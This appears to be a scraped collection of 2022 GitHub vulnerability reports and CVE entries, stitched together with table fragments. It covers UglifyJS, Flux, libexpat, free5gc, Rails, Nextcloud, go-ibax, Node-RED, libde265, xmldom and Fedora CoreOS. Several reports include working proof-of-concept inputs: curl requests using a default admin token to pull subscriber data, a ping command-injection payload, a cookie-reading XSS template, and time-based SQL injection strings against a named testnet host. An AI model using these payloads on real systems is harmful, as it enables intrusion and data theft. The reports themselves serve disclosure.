At least all versions from our current (3.13.2) to latest
**Issue **
As of 25/10/22, running an `auditjs ossi` scan on our codebase throws this issue as a critical error:
`Vulnerability Title: [CVE-2022-37598] Prototype pollution vulnerability in function DEFNODE in ast.js in mishoo UglifyJS 3.13.2 via the name variable in ast.js.`
` Reference: https://ossindex.sonatype.org/vulnerability/CVE-2022-37598?component-type=npm&component-name=uglify-js&utm_source=auditjs&utm_medium=integration&utm_content=4.0.38`
According to Sonatype this affects all published versions of UglifyJS so upgrading wont help.
The same issue was reported here: https://github.com/mishoo/UglifyJS/issues/5699 but has been closed, marked as invalid?
Would you be able to look into this, or point me at the area and I can take a look at getting a PR raised?

CVE-2022-39272 | 2022-10-22T00:15:09.310 | Flux is an open and extensible continuous delivery solution for Kubernetes. Versions prior to 0.35.0 are subject to a Denial of Service. Users that have permissions to change Flux’s objects, either through a Flux source or directly within a cluster, can provide invalid data to fields `.spec.interval` or `.spec.timeout` (and structured variations of these fields), causing the entire object type to stop being processed. This issue is patched in version 0.35.0. As a workaround, Admission controllers can be employed to restrict the values that can be used for fields `.spec.interval` and `.spec.timeout`, however upgrading to the latest versions is still the recommended mitigation. | {

The result is that the round trip is broken: go type => CRD => CR with `d` or `w` => apiserver validation (accepts `d`/`w`) => etcd => GET => unmarshal (blows up on `d`/`w`) => go type.
[Example](https://github.com/openshift/hive/blob/9c572408b5299c520160e7a317c52e80b0415b9f/apis/hive/v1/clusterclaim_types.go#L28-L30) of such a CRD struct field definition.
And a [BZ](https://bugzilla.redhat.com/show_bug.cgi?id=2050332) that uncovered the problem.
cf. https://github.com/kubernetes/apiextensions-apiserver/issues/56
---
Possible solutions:
- Have metav1.Duration.UnmarshalJSON use (an equivalent of) strfmt.ParseDuration instead of time.ParseDuration. Note that the former is a [superset](https://github.com/kubernetes/kube-openapi/blob/424119656bbf/pkg/validation/strfmt/duration.go#L89-L91) of the latter -- i.e. this is guaranteed not to reject existing _working_ strings.
- Add a type to metav1 ("ScalaDuration"?) that uses the more lenient parser. | metav1.Duration doesn't parse `d`, `w`; conflicts with kubebuilder `format=duration` validation | https://api.github.com/repos/kubernetes/apimachinery/issues/131/comments | 11 | 2022-02-10T15:14:13Z | 2023-03-15T14:33:52Z | https://github.com/kubernetes/apimachinery/issues/131 | 1,130,271,415 | 131 | 4,291 |

] | Pull request #616 titles "Bugfixes" contains two bug reports. This new ticket is about the "UAF due to DTD destruction" half of it, with the intention of making the issue more easily accessible.
If I squash together the two related commits…
- [Fix UAF due to DTD destruction. ](https://github.com/libexpat/libexpat/pull/616/commits/7351331ce891d40965ec1ed113d0e745d4e9ef5a)
- [Add XML_DTD guards around m_isParamEntity access.](https://github.com/libexpat/libexpat/pull/616/commits/05c6788b364816f3c584f47e9819119138d151b0)
…we get a single commit with this bug description…
> If the allocation in `parserInit` fails:
> ```c
> parser->m_protocolEncodingName = copyString(encodingName, &(parser->m_mem));
> ```
>
> Then we'll call `XML_ParserFree` on the parser inside `parserCreate`:
> ```c
> if (encodingName && ! parser->m_protocolEncodingName) {
> XML_ParserFree(parser);
> return NULL;
> }
> ```
>
> If we're inside `XML_ExternalEntityParserCreate`, this can mean that `XML_ParserFree` is called on a parser whose `m_dtd` pointer is shared with the document's root parser. Since the flag `m_isParamEntity` is only set in `XML_ExternalEntityParserCreate` after `parserCreate` returns, this call to `XML_ParserFree` will incorrectly destroy the shared dtd.
>
> This fix moves the setting of `m_isParamEntity` into `parserCreate`, since the dtd parameter is only non-NULL in this case.
and this candidate patch for review:

] | ## Bug Description
Free5gc webconsole come with a default username Admin and by using this username as a token header and without any password or authentication ,it's possible to leak all the information below :
- Registered UEs (plmnID,ueId)
- Subscriber information (AccessType,CmState,Guti,Mcc,Mnc,Dnn,PduSessionId,Sd,SmContextRef,Sst,Supi,Tac)
- Tenant and User
## Steps To Reproduce
- Leaking the subscriber list:
```
$ curl 'http://172.27.65.183:30500/api/subscriber' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.27.65.183:30500/' -H 'Connection: keep-alive' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
[{"plmnID":"20893","ueId":"imsi-208930000000003"}]
```
- Using the gathered IMSI to get the Registred UE info:
```
$ curl 'http://172.27.65.183:30500/api/registered-ue-context/imsi-208930000000003' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
[{"AccessType":"3GPP_ACCESS","CmState":"IDLE","Guti":"20893cafe0000000014","Mcc":"208","Mnc":"93","PduSessions":[{"Dnn":"internet","PduSessionId":"1","Sd":"010203","SmContextRef":"urn:uuid:d303dc78-b85a-4071-9e47-1e86e94b1773","Sst":"1"}],"Supi":"imsi-208930000000003","Tac":"000001"}]
```
- Leaking tenant information
```
$ curl 'http://172.27.65.183:30500/api/tenant' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
[{"tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","tenantName":"test"}
```
- Using the gathered tenant id to get users inforamtions on a specific tenant:
```
$ curl 'http://172.27.65.183:30500/api/tenant/95e76759-cf0b-4c4f-8e93-393db0fbe503/user' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
[{"userId":"715d2157-66c9-4885-b57c-48211010e237","tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","email":"test@test.test","encryptedPassword":""}]
```

CVE-2022-3704 | 2022-10-26T20:15:10.730 | A vulnerability classified as problematic has been found in Ruby on Rails. This affects an unknown part of the file actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The real existence of this vulnerability is still doubted at the moment. The name of the patch is be177e4566747b73ff63fd5f529fab564e475ed4. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-212319. NOTE: Maintainer declares that there isn’t a valid attack vector. The issue was wrongly reported as a security vulnerability by a non-member of the Rails team. | {

] | After highlighting this issue to the Rails team via Hacker1, I was informed that this bug should be highlighted here upstream.
Whilst the issue is nothing critical, it is after all more of a self XSS, the ability to inject XSS attacks within the Rails framework is concerning. At a later date a vulnerability may be discovered that could leverage this issue or the code within this page could be reused elsewhere creating another attack vector that could be triggered by an attacker.
I am not an expert in Ruby or Rails and when I found this issue on a penetration test for a client, we discovered it was not an issue with the web application but one within Rails itself. The screenshot attached is therefore redacted of client identification.
### Steps to reproduce
Request a page that does not have a matching routing to produce the Routing Error page.
### Expected behavior
Expected behaviour is a error page with resources to help navigate the issue.
### Actual behavior
Within the search box for Path, it is possible to create a XSS injection.
### System configuration
**Rails version**:
No information on version from client
**Ruby version**:
No information on version from client.

CVE-2022-39364 | 2022-10-27T15:15:09.463 | Nextcloud Server is the file server software for Nextcloud, a self-hosted productivity platform. In Nextcloud Server prior to versions 23.0.9 and 24.0.5 and Nextcloud Enterprise Server prior to versions 22.2.10.5, 23.0.9, and 24.0.5 an attacker reading `nextcloud.log` may gain knowledge of credentials to connect to a SharePoint service. Nextcloud Server versions 23.0.9 and 24.0.5 and Nextcloud Enterprise Server versions 22.2.10.5, 23.0.9, and 24.0.5 contain a patch for this issue. As a workaround, set `zend.exception_ignore_args = On` as an option in `php.ini`. | {

1. install nextcloud/sharepoint app
2. create O365 OneDrive external storage, according to provided documentation at https://github.com/nextcloud/sharepoint#how-to-add-office-365-onedrive
### Expected behaviour
connectivity to the (Sharepoint-based) O365 OneDrive share
### Actual behaviour
NextCloud error :
**"External mount error
There was an error with message: Empty response from the server"**
### Server configuration
NC21
### More info
- The O365 OneDrive share is protected with 2FA (TOTP).
- The nextcloud/sharepoint app documentation is copied verbatim from rclone (with its reference : https://rclone.org/webdav/#sharepoint-online ), but omits this specific (and essential) rclone clause : _"... If you have 2FA enabled, you have to generate an app password. ..."_
If nextcloud/sharepoint is unable to cope with 2FA, this should be highlighted in the documentation.

] | # Version: 3.2.1
# Description
The reports_id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the reports_id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared.
# Proof of Concept
**Step 1:** Add single quote was submitted in the reports_id parameter, and a database error message was returned.
---
---
**Step 2:** Then add two quotes and submit the request, the error message disappears.
---
---
**Step 3:** Use SQLMap to dump full database.
---
---
# Impact
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server. | SQL injection Vulnerability on "reports_id" in rukovoditel 3.2.1 | https://api.github.com/repos/anhdq201/rukovoditel/issues/1/comments | 1 | 2022-10-08T16:41:48Z | 2022-11-02T04:56:29Z | https://github.com/anhdq201/rukovoditel/issues/1 | 1,401,999,002 | 1 | 4,309 |

] | Using the API `/api/common/ping` it's possible to achieve remote command execution on the host machine. This leads to complete control over the machine hosting the server.
To reproduce the vulnerability:
- Download the repo
- Execute `node index.js`
- Login
- Execute this request as shown below:
HTTP request:
```
POST /api/common/ping HTTP/1.1
Host: 0.0.0.0:8000
User-Agent: bla-bla-bla
Cookie: your-auth-cookie
Content-Length: 15
host=1.1.1.1;id
```
This is the vulnerable code:
```javascript
schema.addWorkflow('ping', function($) {
var host = $.model.host.replace(/'|"|\n/g, '');
Exec('ping -c 3 {0}'.format(host), $.done(true));
});
```
Here the problem is the fact that the server doesn't sanitize correctly the input checking that the host provided is a legitimate one, allowing also characters like `;`, `|` or `&`. | [Security] Remote command execution | https://api.github.com/repos/totaljs/code/issues/12/comments | 6 | 2022-09-22T09:44:44Z | 2025-03-12T09:27:46Z | https://github.com/totaljs/code/issues/12 | 1,382,153,683 | 12 | 4,318 |

] | It is possible to enumerate users registered in PwnDoc (tested on 0.5.3 - 2022-07-19 and previous versions) observing the web server response timing.
For example, let's suppose these users were registered on PwnDoc:
By performing a brute force dictionary attack, a defined list of users can be provided via login POST request to detect the server's response time.
All the valid users can be discovered by a potential attacker checking if the response time to the login request is long. For not-existing users we can see a shorter response time.
The attack success depends higly on the stability of the server and the Internet connection between hosts. In any case, in order to apply a remediation, it is advisable to add a timing delay to balance the response timing for each login request.

] | It is possible to enumerate "disabled account" usernames in PwnDoc (tested on 0.5.3 - 2022-07-19) observing the web server responses to login requests.
For example, let's suppose these users were registered on PwnDoc and then disabled:
Trying to log in with one of these disabled users in fact the application responds with the message "Account disabled".
Client request and server response:
Trying to log in with a user who does not exist, the application responds with "Invalid credentials":
This server behavior can be exploited to enumerate disabled users on the platform, who may be re-enabled by an admin and used again in the future.
By performing a brute force dictionary attack, a defined list of users can be provided via login POST request to detect all the "Account disabled" server's responses and exclude the "Invalid credentials" ones.
The standard recommendation to mitigate this vulnerability is to return identical responses for “valid user/wrong password” and “invalid user” login requests.
Let me know if I can help you in any way so, once fixed I would like to get a CVE from mtre.org | (Vulnerability) Disabled user account enumeration via different responses | https://api.github.com/repos/pwndoc/pwndoc/issues/382/comments | 2 | 2022-10-24T16:34:41Z | 2023-03-08T14:33:01Z | https://github.com/pwndoc/pwndoc/issues/382 | 1,421,108,528 | 382 | 4,320 |

## Before you hit that Submit button....
This issue tracker is for problems with the Node-RED-Dashboard only.
If your issue is:
- a general 'how-to' type question,
- a feature request or suggestion for a change
please use the Dashboard category in the [Node-RED Forum](https://discourse.nodered.org) or [slack team](https://nodered.org/slack).
You could also consider asking a question on [Stack Overflow](https://stackoverflow.com/questions/tagged/node-red) and tag it `node-red`.
That way the whole Node-RED user community can help, rather than rely on the core development team.
## So you have a real issue to raise...
To help us understand the issue, please fill-in as much of the following information as you can:
-->
### What are the steps to reproduce?
Drag Dashboard Text Node and inject node into the Node-red workspace . Click on Edit text node and add value format value as {{constructor.constructor('alert(document.cookie)')()}}.
### What happens?
Malicious script code can be injected permanently into the Node-red. Using injected code, an
user could, for example, steal Node Red identifiers of any other sensitive information.
### What do you expect to happen?
when Data in JavaScript format is injected to text node output must be converted to string .
### Please tell us about your environment:
- [ x] Node-RED-Dashboard version: 3.1.2
- [ x] Node-RED version: 2.1.4
- [ x] node.js version: 14.18.2
- [ ] npm version:
- [x] Platform/OS: docker
- [ x ] Browser: Chrome

There are two SQL injection vulnerabilities
## First place
file: https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L92
``` go
query := fmt.Sprintf("SELECT tablename from pg_tables where schemaname ='public' and tablename like %s order by %s offset %d limit %d", "'%"+form.Table_name+"%'", form.Order, (form.Page-1)*form.Limit, form.Limit)
```
POC:
POST `https://testnet-hk1.ibax.network:5079/api/v2/open/tablesInfo`
data: `page=1&limit=1&order=1; select pg_sleep(3)--`
## Second place
file: https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L120
``` go
sqlQuery := fmt.Sprintf("SELECT column_name,data_type,column_default FROM information_schema.columns WHERE table_name='%s' ORDER BY %s", form.Table_name, order)
```
POC:
POST `https://testnet-hk1.ibax.network:5079/api/v2/open/columnsInfo`
data: `table_name=1; select pg_sleep(3)--`
### Reproduction
POST `https://testnet-hk1.ibax.network:5079/api/v2/open/tablesInfo`
data: `page=1&limit=1&order=1; select pg_sleep(3)--`
as you can see, when I use `pg_sleep`, the request is delayed 3s.

SQL Injection vulnerability in /packages/api/database.go of go-ibax via where parameter allows attacker to spoof identity, tamper with existing data, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.This issue affects versions starting from commits on Jul 18, 2020.
file:
https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L189
commits:
https://github.com/IBAX-io/go-ibax/commit/ac760982dc31edc904c160c2e5707a28798646e2#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR174
POC:
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData: order=1&where=1=1%3b%3bselect+pg_sleep(10)%3b--&table_name=pg_user&limit=1&page=1
### Reproduction
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData:
order=1&where=1=1%3b%3bselect+pg_sleep(10)%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use ` pg_sleep `, the request is delayed 10s.
PostData:
order=1&where=1=1%3b%3bselect+case+when((select+length(current_database()))=4)+then+pg_sleep(5)+else+pg_sleep(0)+end%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use ` pg_sleep ` to judge the length of ` current_database` , it shows 4.

Analyze this bug:
In stbi_imgae.h version less than 2.27, the function load_jpeg_image will calculate the w_lores, and image_x, and in function stbi__process_frame_header, the will clac z->img_comp[i].w2, In some special h and v values, w_lores is
not equal to z->img_comp[k].w2, and load_jpeg_image will call r->resample to copy w_lores size , So it leads to oob read

Stack-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x148bb1) in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Unknown-crash (/libde265/build/libde265/liblibde265.so+0x27a238) in ff_hevc_put_hevc_qpel_v_3_8_sse(short*, long, unsigned char const*, long, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1787af) in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146253) in put_weighted_pred_avg_16_fallback(unsigned short*, long, short const*, short const*, long, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1465fb) in put_epel_16_fallback(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x145b6b) in put_unweighted_pred_16_fallback(unsigned short*, long, short const*, long, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

] | Hi Gal,
We are using Node.js, It is crashing when we trying to process some PDFs. I have attached the sample for reference. We are getting the following error
```
" Unable to create form xobject from PDF page, parhaps the page index does not fit the total pages count "
```
After this error, When we try to end the PDF writer then the system crashing. I have tested in both Linux and Windows.
Here is the sample code
```
var pdfReader = hummus.createReader(src);
var pageCount = pdfReader.getPagesCount();
var pdfWriter = hummus.createWriter(dest, { version: hummus.ePDFVersion13 });
var cpyCxt = pdfWriter.createPDFCopyingContext(pdfReader);
for(var i=0;i<pdfReader.getPagesCount(); i++){
var formID = cpyCxt.createFormXObjectFromPDFPage(i, hummus.ePDFPageBoxMediaBox);
.............
.............
}
pdfWriter.end();
[Sample.pdf](https://github.com/galkahana/HummusJS/files/2104945/Sample.pdf)
```
Please let me know how to handle this exception?
Thanks,
Anil.

CVE-2022-39353 | 2022-11-02T17:15:17.387 | xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) `DOMParser` and `XMLSerializer` module. xmldom parses XML that is not well-formed because it contains multiple top level elements, and adds all root nodes to the `childNodes` collection of the `Document`, without reporting any error or throwing. This breaks the assumption that there is only a single root node in the tree, which led to issuance of CVE-2022-39299 as it is a potential issue for dependents. Update to @xmldom/xmldom@~0.7.7, @xmldom/xmldom@~0.8.4 (dist-tag latest) or @xmldom/xmldom@>=0.9.0-beta.4 (dist-tag next). As a workaround, please one of the following approaches depending on your use case: instead of searching for elements in the whole DOM, only search in the `documentElement`or reject a document with a document that has more then 1 `childNode`. | {

] | ###### Bug Description:
xmldom allows incoming documents to have multiple root element nodes. This appears to me to be a violation of the [W3C DOM Level 2 Core Specification](http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/DOM2-Core.pdf):
> […] Each document contains zero or one doctype nodes, **one root element node,** and zero or more comments or processing instructions; the root element serves as the root of the element tree for the document. […]
>
> — _from “What the Document Object Model is” (emphasis mine)_
>
> **The root node is the unique node that is not a child of any other node.** All other nodes are children or other descendants of the root node.
>
> — _from the Glossary (emphasis mine)_
**However,** the spec _also_ says this:
> […] However, **the DOM does not specify that documents must be implemented as a tree or a grove,** nor does it specify how the relationships among objects be implemented. **The DOM is a logical model that may be implemented in any convenient manner.** […]
>
> — _from “What the Document Object Model is” (emphasis mine)_
>
> The children of a `DocumentFragment` node are zero or more nodes representing the tops of any sub-trees defining the structure of the document. `DocumentFragment` nodes do not need to be _well-formed XML documents_ (although they do need to follow the rules imposed upon **well-formed XML parsed entities, which can have multiple top nodes**). For example, a `DocumentFragment` might have only one child and that child node could be a `Text` node. Such a structure model represents neither an HTML document nor a well-formed XML document.
>
> — _from § 1.2 / Fundamental Interfaces / Interface DocumentFragment (emphasis mine)_
In light of this, for the record, **I actually don’t dislike the fact that xmldom can parse such documents.** This comes with a few reservations (outlined below) because it seems like the current behavior is contrary to what the specs (both W3C DOM Level 2 Core _and_ [XML 1.1](https://www.w3.org/TR/2006/REC-xml11-20060816/#sec-well-formed)) assert ought to be the case.
###### Bug Reproduction:
The following code:
``` javascript
var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
' <branch girth="large">\n' +
' <leaf color="green" />\n' +
' </branch>\n' +
'</root>\n' +
'<root>\n' +
' <branch girth="twig">\n' +
' <leaf color="gold" />\n' +
' </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());
```
…produces the following output:
```
<?xml version="1.0" encoding="UTF-8"?><root>
<branch girth="large">
<leaf color="green"/>
</branch>
</root>
<root>
<branch girth="twig">
<leaf color="gold"/>
</branch>
</root>
```
In contrast to this, [libxmljs](https://www.npmjs.com/package/libxmljs) — which relies on [libxml2](http://www.xmlsoft.org/) — refuses to parse such documents, opting to throw an error instead:
``` javascript
var xml = require('libxmljs');
var xmlDoc = xml.parseXmlString(xmlData);
Error: Extra content at the end of the document
```
Firefox behaves in a similar way, and refuses to parse the document:
``` javascript
console.log(
new XMLSerializer().serializeToString(
new DOMParser().parseFromString(xmlData, 'text/xml')));
```
```
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="chrome://global/locale/intl.css" type="text/css"?>
<parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml">XML Parsing Error: junk after document element
Location: about:blank
Line Number 7, Column 1:<sourcetext><root>
^</sourcetext></parsererror>
```
Chrome goes a _little_ bit farther in that it is at least willing to parse/render the first root element node:
```
<?xml version="1.0" encoding="UTF-8"?>
<root>
<parsererror xmlns="http://www.w3.org/1999/xhtml" style="display: block; white-space: pre; border: 2px solid #c77; padding: 0 1em 0 1em; margin: 1em; background-color: #fdd; color: black">
<h3>This page contains the following errors:</h3>
<div style="font-family:monospace;font-size:12px">error on line 7 at column 1: Extra content at the end of the document
</div>
<h3>Below is a rendering of the page up to the first error.</h3>
</parsererror>
<branch girth="large">
<leaf color="green"/>
</branch>
</root>
```
###### Expectations/Recommendations/Discussion:
- I expected the above document to fail to parse in xmldom's DOMParser implementation, but it didn’t. In light of the specs, this seems like it might be a “false-positive” bug. However, I think there _is_ some utility in being able to parse multiple documents in a single stream, _if_ the API can be re-tooled just a bit. More on this below.
- In order to be more compliant with the specs, I think that if more than one root node is present in an XML stream — especially if they appear without corresponding `<?xml?>` declarations — then the DOMParser should, bare-minimum, simply opt to not support such streams, and should raise an error informing the consumer that the given XML stream is invalid.
- **Alternatively,** if it is desired to keep the ability to parse multiple documents in a single stream — which I think would be useful functionality to retain: the alternative of requiring users to manually split XML documents crammed into a single stream before they can pass them into xmldom seems counter-intuitive to me, as that should be the job of the parser — then perhaps the DOMParser API could be re-tooled to return an _array_ or a _list_ of multiple document objects, each one with a singular root element node (rather than a _single_ document object with _multiple root elements,_ as is the case today), but _only in the event that multiple root elements are detected within the input stream._ I think that this behavior would help xmldom to be more compliant with the specs, _and_ it would help to prevent consumers from accidentally generating poorly formed XML output from their parsed document objects, since each parsed document object would have only _one_ root node, as the specs indicate ought to be the case.
###### Conclusion:
On one hand, **I think it is a useful thing to be able to parse streams containing multiple XML documents.**
On the other hand, to do that silently without issuing even so much as a warning to consumers — especially when the specs say that root nodes should be unique — seems, well, odd. **It seems like the current behavior is more of an artifact or a side-effect of xmldom’s current architecture than it is an intentional aspect of its design,** hence my writing this up as a bug rather than a feature request. (If I’m mistaken, do let me know!)

CVE-2022-3675 | 2022-11-03T18:15:14.627 | Fedora CoreOS supports setting a GRUB bootloader password
using a Butane config. When this feature is enabled, GRUB requires a password to access the
GRUB command-line, modify kernel command-line arguments, or boot
non-default OSTree deployments. Recent Fedora CoreOS releases have a
misconfiguration which allows booting non-default OSTree deployments
without entering a password. This allows someone with access to the
GRUB menu to boot into an older version of Fedora CoreOS, reverting
any security fixes that have recently been applied to the machine. A
password is still required to modify kernel command-line arguments and
to access the GRUB command line.

] | Fedora CoreOS recently added support for [setting a GRUB password](https://docs.fedoraproject.org/en-US/fedora-coreos/grub-password/). When this feature is enabled, GRUB requires a password to access the GRUB command-line, modify kernel command-line arguments, or boot non-default OSTree deployments.
Recent Fedora CoreOS releases have a misconfiguration which allows booting non-default OSTree deployments without entering a password. This allows someone with access to the GRUB menu to boot into an older version of Fedora CoreOS. A password is still required to modify kernel command-line arguments and to access the GRUB command line.
Machines provisioned from the following Fedora CoreOS releases are affected:
- `stable` 36.20220820.3.0 and later
- `testing` 36.20220906.2.0 and later
- `next` 36.20220906.1.0 and later
If you do not use the GRUB password feature, or if you do use it and have provisioned your machines from unaffected Fedora CoreOS images, no action is required.
If your machines are affected, and you are willing to wait for the problem to be corrected automatically in upcoming releases, no action is required. Otherwise, you can correct the problem manually by running the following commands on affected machines:
sudo ostree config set sysroot.bls-append-except-default 'grub_users=""'
sudo unshare -mw /boot/loader/entries bash -c \
'mount -o rw,remount /boot &&
for f in $(ls -v ostree-*-fedora-coreos.conf | head -n -1); do
if ! grep -q grub_users "$f"; then
echo grub_users \"\" >> "$f";
fi;
done'
To check which version of Fedora CoreOS was used to provisioned a machine, run the following command:

] | Hi @sasagawa888,
